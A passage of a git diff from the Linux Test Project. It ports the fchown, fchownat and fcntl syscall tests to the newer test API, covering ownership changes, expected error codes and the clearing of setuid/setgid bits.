-		for (i = 0; tc[i].desc != NULL; i++)
-			verify_fchown(tc + i);
-	}
-
-	cleanup();
-	tst_exit();
+	if (stat_buf.st_mode != tc[i].exp_mode)
+		tst_res(TFAIL, "%s: wrong mode permissions %#o, expected %#o",
+			tc[i].filename, stat_buf.st_mode, tc[i].exp_mode);
 }
 
 static void setup(void)
 {
-	tst_require_root();
+	unsigned int i;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	fd1 = SAFE_OPEN(cleanup, TESTFILE1, O_RDWR | O_CREAT, FILE_MODE);
-	SAFE_CHMOD(cleanup, TESTFILE1, NEW_PERMS1);
-	fd2 = SAFE_OPEN(cleanup, TESTFILE2, O_RDWR | O_CREAT, FILE_MODE);
-	SAFE_CHMOD(cleanup, TESTFILE2, NEW_PERMS2);
+	for (i = 0; i < ARRAY_SIZE(tc); i++)
+		*tc[i].fd = SAFE_OPEN(tc[i].filename, O_RDWR | O_CREAT, FILE_MODE);
 }
 
 static void cleanup(void)
 {
-	if (fd1 > 0 && close(fd1))
-		tst_resm(TWARN | TERRNO, "Failed to close fd1");
+	unsigned int i;
 
-	if (fd2 > 0 && close(fd2))
-		tst_resm(TWARN | TERRNO, "Failed to close fd2");
-
-	tst_rmdir();
+	for (i = 0; i < ARRAY_SIZE(tc); i++) {
+		if (*tc[i].fd > 0)
+			SAFE_CLOSE(*tc[i].fd);
+	}
 }
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tc),
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = run,
+};
diff --git a/testcases/kernel/syscalls/fchown/fchown03.c b/testcases/kernel/syscalls/fchown/fchown03.c
index f7fe994..97d6c9d 100644
--- a/testcases/kernel/syscalls/fchown/fchown03.c
+++ b/testcases/kernel/syscalls/fchown/fchown03.c
@@ -1,139 +1,99 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) Linux Test Project, 2001-2021
  * Copyright (c) International Business Machines  Corp., 2001
- *  07/2001 Ported by Wayne Boyer
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software Foundation,
- * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * 07/2001 Ported by Wayne Boyer
  */
 
-/*
- * Test Description:
- *  Verify that, fchown(2) succeeds to change the group of a file specified
- *  by path when called by non-root user with the following constraints,
- *	- euid of the process is equal to the owner of the file.
- *	- the intended gid is either egid, or one of the supplementary gids
- *	  of the process.
- *  Also, verify that fchown() clears the setuid/setgid bits set on the file.
+/*\
+ * [Description]
+ *
+ * Verify that, fchown(2) succeeds to change the group of a file specified
+ * by path when called by non-root user with the following constraints:
+ *
+ * - euid of the process is equal to the owner of the file
+ * - the intended gid is either egid, or one of the supplementary gids
+ *   of the process.
+ *
+ * Also verify that fchown() clears the setuid/setgid bits set on the file.
  */
 
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
 #include <grp.h>
 #include <pwd.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
 
-#include "test.h"
-#include "safe_macros.h"
-#include "compat_16.h"
+#include "tst_test.h"
+#include "compat_tst_16.h"
 
-#define FILE_MODE (mode_t)(S_IFREG | S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH)
-#define NEW_PERMS (mode_t)(S_IFREG | S_IRWXU | S_IRWXG | S_ISUID | S_ISGID)
-#define FCHOWN_PERMS	(mode_t)(NEW_PERMS & ~(S_ISUID | S_ISGID))
-#define TESTFILE	"testfile"
+#define FILE_MODE	(S_IFREG|S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
+#define NEW_PERMS	(S_IFREG|S_IRWXU|S_IRWXG|S_ISUID|S_ISGID)
+#define FILENAME	"fchown03_testfile"
 
-TCID_DEFINE(fchown03);
-int TST_TOTAL = 1;
-
-static int fildes;
-char nobody_uid[] = "nobody";
+static int fd;
 static struct passwd *ltpuser;
 
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
+static void check_owner(struct stat *s, uid_t exp_uid, gid_t exp_gid)
 {
+	if (s->st_uid != exp_uid || s->st_gid != exp_gid)
+		tst_res(TFAIL, "%s: wrong owner set to (uid=%d, gid=%d), expected (uid=%d, gid=%d)",
+			FILENAME, s->st_uid, s->st_gid, exp_uid, exp_gid);
+}
+
+static void check_mode(struct stat *s, mode_t exp_mode)
+{
+	if (s->st_mode != exp_mode)
+		tst_res(TFAIL, "%s: wrong mode permissions %#o, expected %#o",
+			FILENAME, s->st_mode, exp_mode);
+}
+
+static void run(void)
+{
+	uid_t uid;
+	gid_t gid;
 	struct stat stat_buf;
-	int lc;
-	uid_t user_id;
-	gid_t group_id;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	SAFE_SETEUID(0);
+	SAFE_FCHOWN(fd, -1, 0);
+	SAFE_FCHMOD(fd, NEW_PERMS);
+	SAFE_SETEUID(ltpuser->pw_uid);
 
-	setup();
+	UID16_CHECK((uid = geteuid()), "fchown");
+	GID16_CHECK((gid = getegid()), "fchown");
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
+	SAFE_STAT(FILENAME, &stat_buf);
+	check_owner(&stat_buf, uid, 0);
+	check_mode(&stat_buf, NEW_PERMS);
 
-		user_id = geteuid();
-		GID16_CHECK((group_id = getegid()), "fchown", cleanup)
-
-		TEST(FCHOWN(cleanup, fildes, -1, group_id));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "fchown() on %s Fails, errno=%d",
-				 TESTFILE, TEST_ERRNO);
-			continue;
-		}
-
-		SAFE_FSTAT(cleanup, fildes, &stat_buf);
-
-		if ((stat_buf.st_uid != user_id) ||
-		    (stat_buf.st_gid != group_id)) {
-			tst_resm(TFAIL, "%s: Incorrect "
-				 "ownership set, Expected %d %d",
-				 TESTFILE, user_id, group_id);
-			continue;
-		}
-
-		if (stat_buf.st_mode != FCHOWN_PERMS) {
-			tst_resm(TFAIL, "%s: Incorrect mode permissions"
-				 " %#o, Expected %#o", TESTFILE,
-				 stat_buf.st_mode, FCHOWN_PERMS);
-		} else {
-			tst_resm(TPASS, "fchown() on %s succeeds: "
-				 "Setuid/gid bits cleared", TESTFILE);
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	TST_EXP_PASS(FCHOWN(fd, -1, gid), "fchown(fd, %d, %d)", -1, gid);
+	SAFE_STAT(FILENAME, &stat_buf);
+	check_owner(&stat_buf, uid, gid);
+	check_mode(&stat_buf, NEW_PERMS & ~(S_ISUID | S_ISGID));
 }
 
 static void setup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	ltpuser = SAFE_GETPWNAM("nobody");
+	SAFE_SETEGID(ltpuser->pw_gid);
+	SAFE_SETEUID(ltpuser->pw_uid);
 
-	tst_require_root();
-
-	ltpuser = SAFE_GETPWNAM(cleanup, nobody_uid);
-	SAFE_SETEUID(NULL, ltpuser->pw_uid);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	fildes = SAFE_OPEN(cleanup, TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
-
-	SAFE_SETEUID(cleanup, 0);
-
-	SAFE_FCHOWN(cleanup, fildes, -1, 0);
-	SAFE_FCHMOD(cleanup, fildes, NEW_PERMS);
-
-	SAFE_SETEGID(cleanup, ltpuser->pw_gid);
-	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
+	fd = SAFE_OPEN(FILENAME, O_RDWR | O_CREAT, FILE_MODE);
 }
 
 static void cleanup(void)
 {
-	if (fildes > 0 && close(fildes))
-		tst_resm(TWARN | TERRNO, "close(%s) Failed", TESTFILE);
+	SAFE_SETEGID(0);
+	SAFE_SETEUID(0);
 
-	tst_rmdir();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/fchown/fchown04.c b/testcases/kernel/syscalls/fchown/fchown04.c
index 12e3326..a7af3aa 100644
--- a/testcases/kernel/syscalls/fchown/fchown04.c
+++ b/testcases/kernel/syscalls/fchown/fchown04.c
@@ -1,168 +1,86 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *   Copyright (c) International Business Machines  Corp., 2001
- *	07/2001 Ported by Wayne Boyer
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software Foundation,
- *   Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
-/*
- * Test Description:
- *   Verify that,
- *   1) fchown(2) returns -1 and sets errno to EPERM if the effective user id
- *	of process does not match the owner of the file and the process is
- *	not super user.
- *   2) fchown(2) returns -1 and sets errno to EBADF if the file descriptor
- *	of the specified file is not valid.
- *   3) fchown(2) returns -1 and sets errno to EROFS if the named file resides
- *	on a read-only file system.
+/*\
+ * [Description]
+ *
+ * Verify that:
+ *
+ * 1. fchown() returns -1 and sets errno to EPERM if the effective user id
+ *    of process does not match the owner of the file and the process is
+ *    not super user.
+ * 2. fchown() returns -1 and sets errno to EBADF if the file descriptor
+ *    of the specified file is not valid.
+ * 3. fchown() returns -1 and sets errno to EROFS if the named file resides
+ *    on a read-only file system.
  */
 
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <grp.h>
 #include <pwd.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/mount.h>
 
-#include "test.h"
-#include "safe_macros.h"
-#include "compat_16.h"
+#include "tst_test.h"
+#include "compat_tst_16.h"
+#include "tst_safe_macros.h"
 
-#define DIR_MODE	(S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP| \
-			 S_IXGRP|S_IROTH|S_IXOTH)
+#define MNT_POINT	"mntpoint"
+#define TEST_FILE	"tfile_1"
+#define MODE		0666
+#define DIR_MODE	(S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH)
 
 static int fd1;
 static int fd2 = -1;
 static int fd3;
-static const char *device;
-static int mount_flag;
 
 static struct test_case_t {
 	int *fd;
 	int exp_errno;
-} test_cases[] = {
+} tc[] = {
 	{&fd1, EPERM},
 	{&fd2, EBADF},
 	{&fd3, EROFS},
 };
 
-TCID_DEFINE(fchown04);
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-static void setup(void);
-static void fchown_verify(int);
-static void cleanup(void);
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++)
-			fchown_verify(i);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 static void setup(void)
 {
 	struct passwd *ltpuser;
-	const char *fs_type;
 
-	TEST_PAUSE;
+	fd1 = SAFE_OPEN(TEST_FILE, O_RDWR | O_CREAT, MODE);
+	fd3 = SAFE_OPEN(MNT_POINT, O_RDONLY);
 
-	tst_require_root();
-
-	tst_tmpdir();
-
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to acquire device");
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	fd1 = SAFE_OPEN(cleanup, "tfile_1", O_RDWR | O_CREAT, 0666);
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-	SAFE_MKDIR(cleanup, "mntpoint", DIR_MODE);
-	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type, 0, NULL);
-	mount_flag = 1;
-	SAFE_TOUCH(cleanup, "mntpoint/tfile_3", 0644, NULL);
-	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type,
-		   MS_REMOUNT | MS_RDONLY, NULL);
-	fd3 = SAFE_OPEN(cleanup, "mntpoint/tfile_3", O_RDONLY);
-
-	ltpuser = SAFE_GETPWNAM(cleanup, "nobody");
-	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
+	ltpuser = SAFE_GETPWNAM("nobody");
+	SAFE_SETEUID(ltpuser->pw_uid);
 }
 
-static void fchown_verify(int i)
+static void run(unsigned int i)
 {
-	UID16_CHECK(geteuid(), "fchown", cleanup)
-	GID16_CHECK(getegid(), "fchown", cleanup)
+	uid_t uid;
+	gid_t gid;
 
-	TEST(FCHOWN(cleanup, *test_cases[i].fd, geteuid(), getegid()));
+	UID16_CHECK((uid = geteuid()), "fchown");
+	GID16_CHECK((gid = getegid()), "fchown");
 
-	if (TEST_RETURN == -1) {
-		if (TEST_ERRNO == test_cases[i].exp_errno) {
-			tst_resm(TPASS | TTERRNO, "fchown failed as expected");
-		} else {
-			tst_resm(TFAIL | TTERRNO,
-				 "fchown failed unexpectedly; expected %d - %s",
-				 test_cases[i].exp_errno,
-				 strerror(test_cases[i].exp_errno));
-		}
-	} else {
-		tst_resm(TFAIL, "fchown passed unexpectedly");
-	}
+	TST_EXP_FAIL(FCHOWN(*tc[i].fd, uid, gid), tc[i].exp_errno,
+	             "fchown(%i, %i, %i)", *tc[i].fd, uid, gid);
 }
 
 static void cleanup(void)
 {
-	if (seteuid(0))
-		tst_resm(TWARN | TERRNO, "Failet to seteuid(0) before cleanup");
+	if (fd1 > 0)
+		SAFE_CLOSE(fd1);
 
-	if (fd1 > 0 && close(fd1))
-		tst_resm(TWARN | TERRNO, "Failed to close fd1");
-
-	if (fd3 > 0 && close(fd3))
-		tst_resm(TWARN | TERRNO, "Failed to close fd3");
-
-	if (mount_flag && tst_umount("mntpoint") < 0)
-		tst_resm(TWARN | TERRNO, "umount device:%s failed", device);
-
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
+	if (fd3 > 0)
+		SAFE_CLOSE(fd3);
 }
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_rofs = 1,
+	.mntpoint = MNT_POINT,
+	.tcnt = ARRAY_SIZE(tc),
+	.test = run,
+	.setup = setup,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/fchown/fchown05.c b/testcases/kernel/syscalls/fchown/fchown05.c
index 1897a2e..47ee171 100644
--- a/testcases/kernel/syscalls/fchown/fchown05.c
+++ b/testcases/kernel/syscalls/fchown/fchown05.c
@@ -1,132 +1,72 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
- *  07/2001 Ported by Wayne Boyer
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*
- * Test Description:
- *  Verify that, fchown(2) succeeds to change the owner and group of a file
- *  specified by file descriptor to any numeric owner(uid)/group(gid) values
- *  when invoked by super-user.
+ * 07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
+/*\
+ * [Description]
+ *
+ * Verify that, fchown() succeeds to change the owner and group of a file
+ * specified by file descriptor to any numeric owner(uid)/group(gid) values
+ * when invoked by super-user.
+ */
 
-#include "test.h"
-#include "safe_macros.h"
-#include "compat_16.h"
+#include "tst_test.h"
+#include "compat_tst_16.h"
+#include "tst_safe_macros.h"
 
-#define FILE_MODE	S_IFREG | S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
-#define TESTFILE	"testfile"
+#define FILE_MODE (S_IFREG|S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
+#define TESTFILE "testfile"
 
-TCID_DEFINE(fchown05);
+static int fd;
 
-static struct test_case_t {
+struct test_case_t {
 	char *desc;
-	uid_t user_id;
-	gid_t group_id;
+	uid_t uid;
+	gid_t gid;
 } tc[] = {
-	{"Change Owner/Group ids", 700, 701},
-	{"Change Owner id only", 702, -1},
-	{"Change Owner id only", 703, 701},
-	{"Change Group id only", -1, 704},
-	{"Change Group id only", 703, 705},
-	{NULL, 0, 0}
+	{"change owner/group ids", 700, 701},
+	{"change owner id only", 702, -1},
+	{"change owner id only", 703, 701},
+	{"change group id only", -1, 704},
+	{"change group id only", 703, 705},
+	{"no change", -1, -1}
 };
 
-int TST_TOTAL = ARRAY_SIZE(tc);
-
-static void setup(void);
-static void cleanup(void);
-static int fildes;
-
-int main(int ac, char **av)
+static void run(unsigned int i)
 {
 	struct stat stat_buf;
-	int i, lc;
-	uid_t user_id;
-	gid_t group_id;
+	uid_t expect_uid = tc[i].uid == (uid_t)-1 ? tc[i - 1].uid : tc[i].uid;
+	gid_t expect_gid = tc[i].gid == (uid_t)-1 ? tc[i - 1].gid : tc[i].gid;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TST_EXP_PASS(FCHOWN(fd, tc[i].uid, tc[i].gid), "fchown(%i, %i, %i), %s",
+		     fd, tc[i].uid, tc[i].gid, tc[i].desc);
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; tc[i].desc != NULL; i++) {
-			user_id = tc[i].user_id;
-			group_id = tc[i].group_id;
-
-			TEST(FCHOWN(cleanup, fildes, user_id, group_id));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL | TTERRNO,
-					 "fchown() Fails to %s", tc[i].desc);
-				continue;
-			}
-
-			SAFE_FSTAT(cleanup, fildes, &stat_buf);
-
-			if (user_id == (uid_t)-1)
-				user_id = tc[i - 1].user_id;
-
-			if (group_id == (gid_t)-1)
-				group_id = tc[i - 1].group_id;
-
-			if ((stat_buf.st_uid != user_id) ||
-			    (stat_buf.st_gid != group_id)) {
-				tst_resm(TFAIL, "%s: Incorrect owner"
-					 "ship set, Expected %d %d",
-					 TESTFILE, user_id, group_id);
-			} else {
-				tst_resm(TPASS,
-					 "fchown() succeeds to %s of %s",
-					 tc[i].desc, TESTFILE);
-			}
-		}
+	SAFE_FSTAT(fd, &stat_buf);
+	if (stat_buf.st_uid != expect_uid || stat_buf.st_gid != expect_gid) {
+		tst_res(TFAIL, "%s: incorrect ownership set, expected %d %d",
+			TESTFILE, expect_uid, expect_gid);
 	}
-
-	cleanup();
-	tst_exit();
 }
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	fildes = SAFE_OPEN(cleanup, TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
+	fd = SAFE_OPEN(TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
 }
 
 static void cleanup(void)
 {
-	if (fildes > 0 && close(fildes))
-		tst_resm(TWARN | TERRNO, "close(%s) Failed", TESTFILE);
-
-	tst_rmdir();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tc),
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = run,
+};
diff --git a/testcases/kernel/syscalls/fchownat/fchownat.h b/testcases/kernel/syscalls/fchownat/fchownat.h
index a95c26f..927cf92 100644
--- a/testcases/kernel/syscalls/fchownat/fchownat.h
+++ b/testcases/kernel/syscalls/fchownat/fchownat.h
@@ -29,7 +29,7 @@
 static inline int fchownat(int dirfd, const char *filename, uid_t owner,
 		gid_t group, int flags)
 {
-	return ltp_syscall(__NR_fchownat, dirfd, filename, owner, group, flags);
+	return tst_syscall(__NR_fchownat, dirfd, filename, owner, group, flags);
 }
 #endif
 
diff --git a/testcases/kernel/syscalls/fchownat/fchownat01.c b/testcases/kernel/syscalls/fchownat/fchownat01.c
index 9f4ecde..a658f07 100644
--- a/testcases/kernel/syscalls/fchownat/fchownat01.c
+++ b/testcases/kernel/syscalls/fchownat/fchownat01.c
@@ -26,7 +26,6 @@
 
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <fcntl.h>
 #include <unistd.h>
 #include <stdlib.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/fchownat/fchownat02.c b/testcases/kernel/syscalls/fchownat/fchownat02.c
index d19f3f3..701623d 100644
--- a/testcases/kernel/syscalls/fchownat/fchownat02.c
+++ b/testcases/kernel/syscalls/fchownat/fchownat02.c
@@ -24,7 +24,6 @@
 
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <fcntl.h>
 #include <unistd.h>
 #include <stdlib.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/fcntl/.gitignore b/testcases/kernel/syscalls/fcntl/.gitignore
index ede0c97..48b36ec 100644
--- a/testcases/kernel/syscalls/fcntl/.gitignore
+++ b/testcases/kernel/syscalls/fcntl/.gitignore
@@ -74,3 +74,5 @@
 /fcntl37_64
 /fcntl38
 /fcntl38_64
+/fcntl39
+/fcntl39_64
diff --git a/testcases/kernel/syscalls/fcntl/fcntl05.c b/testcases/kernel/syscalls/fcntl/fcntl05.c
index fb4a0f9..7835d1e 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl05.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl05.c
@@ -1,25 +1,6 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved.
  * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
  * Mountain View, CA  94043, or:
  *
@@ -29,158 +10,63 @@
  *
  * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
  *
+ * AUTHOR            : William Roske
+ * CO-PILOT          : Dave Fenner
  */
-/* $Id: fcntl05.c,v 1.8 2009/11/02 13:57:16 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: fcntl05
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for fcntl(2) using F_GETLK argument.
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- *	1.) fcntl(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- *	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *
- *    DURATION
- *	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- *	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- *	None
- *
- *    INTERCASE DEPENDENCIES
- *	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the fcntl(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	fcntl(2).
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
+/*\
+ * [Description]
+ *
+ * Basic test for fcntl(2) using F_GETLK argument.
+ *
+ * If the lock could be placed, fcntl() does not actually place it, but
+ * returns F_UNLCK in the l_type field of lock and leaves the other field
+ * of the structure unchanged.
+ */
+
+#include <stdio.h>
 #include <sys/types.h>
 #include <fcntl.h>
 #include <unistd.h>
 #include <sys/stat.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
+#include "tst_test.h"
 
-void setup();
-void cleanup();
+static int fd = -1, pid;
+static struct flock flocks;
 
-char *TCID = "fcntl05";
-int TST_TOTAL = 1;
-
-char fname[255];
-int fd;
-struct flock flocks;
-
-int main(int ac, char **av)
+static void verify_fcntl(void)
 {
-	int lc;
+	/* F_GETLK will change flock.l_type to F_UNLCK, so need to reset */
+	flocks.l_type = F_RDLCK;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		flocks.l_type = F_RDLCK;
-		TEST(fcntl(fd, F_GETLK, &flocks));
-
-		if (TEST_RETURN == -1)
-			tst_resm(TFAIL | TTERRNO, "fcntl failed");
-		else {
-			tst_resm(TPASS, "fcntl returned %ld",
-				 TEST_RETURN);
-		}
-
-	}
-
-	cleanup();
-	tst_exit();
+	TST_EXP_PASS(fcntl(fd, F_GETLK, &flocks), "fcntl(%d, F_GETLK, &flocks)", fd);
+	TST_EXP_EQ_LI(flocks.l_type, F_UNLCK);
+	TST_EXP_EQ_LI(flocks.l_whence, SEEK_CUR);
+	TST_EXP_EQ_LI(flocks.l_start, 0);
+	TST_EXP_EQ_LI(flocks.l_len, 0);
+	TST_EXP_EQ_LI(flocks.l_pid, pid);
 }
 
-void setup(void)
+static void setup(void)
 {
+	pid = getpid();
+	fd = SAFE_OPEN("filename", O_RDWR | O_CREAT, 0700);
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(fname, "tfile_%d", getpid());
-	if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "open failed");
-
-	/* set needed flags in the flocks structure */
-	flocks.l_whence = 1;
+	flocks.l_whence = SEEK_CUR;
 	flocks.l_start = 0;
 	flocks.l_len = 0;
-	flocks.l_pid = getpid();
+	flocks.l_pid = pid;
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
-	if (close(fd) == -1)
-		tst_resm(TWARN | TERRNO, "close failed");
-
-	tst_rmdir();
-
+	if (fd > -1)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.test_all = verify_fcntl,
+	.setup = setup,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/fcntl/fcntl12.c b/testcases/kernel/syscalls/fcntl/fcntl12.c
index ae382dd..ccd57da 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl12.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl12.c
@@ -1,120 +1,65 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
